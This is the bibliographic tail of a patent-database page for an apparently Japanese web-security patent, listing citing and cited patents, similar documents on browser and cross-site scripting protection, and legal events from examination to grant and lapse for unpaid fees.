US10129258B2 (en) * 2016-11-30 2018-11-13 Salesforce.Com, Inc. Secure component-based web applications
CN107222580A (zh) * 2017-07-28 2017-09-29 郑州云海信息技术有限公司 一种利用图片实现跨域传递数据的方法
US10594720B2 (en) * 2017-11-03 2020-03-17 International Business Machines Corporation Exercising security control point (SCP) capabilities on live systems based on internal validation processing
EP3621266B1 (de) * 2018-09-05 2021-07-28 Siemens Aktiengesellschaft Verfahren zum betrieb eines webservers
US11188622B2 (en) * 2018-09-28 2021-11-30 Daniel Chien Systems and methods for computer security
US10346378B1 (en) 2018-11-30 2019-07-09 Slack Technologies, Inc. Data storage architecture for an enterprise communication system
US11258800B2 (en) * 2019-06-28 2022-02-22 Slack Technologies, Llc Managing admin controlled access of external resources to group-based communication interfaces via a group-based communication system
CN111104097B (zh) * 2019-12-13 2023-06-30 上海众源网络有限公司 一种数据写入、读取方法及装置

Family Cites Families (4)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
US6167520A (en) * 1996-11-08 2000-12-26 Finjan Software, Inc. System and method for protecting a client during runtime from hostile downloadables
US7975305B2 (en) * 1997-11-06 2011-07-05 Finjan, Inc. Method and system for adaptive rule-based content scanners for desktop computers
US6505300B2 (en) * 1998-06-12 2003-01-07 Microsoft Corporation Method and system for secure running of untrusted content
US20080222237A1 (en) * 2007-03-06 2008-09-11 Microsoft Corporation Web services mashup component wrappers

Also Published As

Publication number Publication date
JP2008299414A (ja) 2008-12-11
US20080301766A1 (en) 2008-12-04

Similar Documents

Publication Publication Date Title
JP4395178B2 (ja) コンテンツ処理システム、方法及びプログラム
US10164993B2 (en) Distributed split browser content inspection and analysis
US8464318B1 (en) System and method for protecting web clients and web-based applications
US10678910B2 (en) Modifying web page code to include code to protect output
US8856874B2 (en) Method and apparatus for serving content elements of a markup language document protected against cross-site scripting attack
US8826411B2 (en) Client-side extensions for use in connection with HTTP proxy policy enforcement
US9223987B2 (en) Confidential information identifying method, information processing apparatus, and program
US9160756B2 (en) Method and apparatus for protecting markup language document against cross-site scripting attack
US20100186089A1 (en) Method and system for protecting cross-domain interaction of a web application on an unmodified browser
US10474729B2 (en) Delayed encoding of resource identifiers
JP2008283686A (ja) ドライブバイ・ファーミングに対するリファラーチェックを介したクライアント側の保護
CN112703496B (zh) 关于恶意浏览器插件对应用用户的基于内容策略的通知
US20100306184A1 (en) Method and device for processing webpage data
EP2642718B1 (en) Dynamic rendering of a document object model
US20140283078A1 (en) Scanning and filtering of hosted content
Yang et al. Toward principled browser security
Zhou et al. Protecting private web content from embedded scripts
Bui et al. Xss vulnerabilities in cloud-application add-ons
US10263992B2 (en) Method for providing browser using browser processes separated for respective access privileges and apparatus using the same
US11314834B2 (en) Delayed encoding of resource identifiers
JP5682181B2 (ja) 通信制御機能を有する通信装置、方法、プログラム
JP6884652B2 (ja) ホワイトリスト管理システムおよびホワイトリスト管理方法
KR101305755B1 (ko) 주소에 기반하여 스크립트 실행을 필터링하는 장치 및 방법
JP7255681B2 (ja) 実行制御システム、実行制御方法、及びプログラム
JP6472545B2 (ja) 処理システム、処理方法及びプログラム

Legal Events

Date Code Title Description
A621 Written request for application examination

Free format text: JAPANESE INTERMEDIATE CODE: A621

Effective date: 20090522

A871 Explanation of circumstances concerning accelerated examination

Free format text: JAPANESE INTERMEDIATE CODE: A871

Effective date: 20090522

A975 Report on accelerated examination

Free format text: JAPANESE INTERMEDIATE CODE: A971005

Effective date: 20090616

A131 Notification of reasons for refusal

Free format text: JAPANESE INTERMEDIATE CODE: A131

Effective date: 20090623

A521 Request for written amendment filed

Free format text: JAPANESE INTERMEDIATE CODE: A523

Effective date: 20090907

TRDD Decision of grant or rejection written
A01 Written decision to grant a patent or to grant a registration (utility model)

Free format text: JAPANESE INTERMEDIATE CODE: A01

Effective date: 20091006

A01 Written decision to grant a patent or to grant a registration (utility model)

Free format text: JAPANESE INTERMEDIATE CODE: A01

A61 First payment of annual fees (during grant procedure)

Free format text: JAPANESE INTERMEDIATE CODE: A61

Effective date: 20091016

R150 Certificate of patent or registration of utility model

Free format text: JAPANESE INTERMEDIATE CODE: R150

FPAY Renewal fee payment (event date is renewal date of database)

Free format text: PAYMENT UNTIL: 20121023

Year of fee payment: 3

FPAY Renewal fee payment (event date is renewal date of database)

Free format text: PAYMENT UNTIL: 20121023

Year of fee payment: 3

FPAY Renewal fee payment (event date is renewal date of database)

Free format text: PAYMENT UNTIL: 20131023

Year of fee payment: 4

LAPS Cancellation because of no payment of annual fees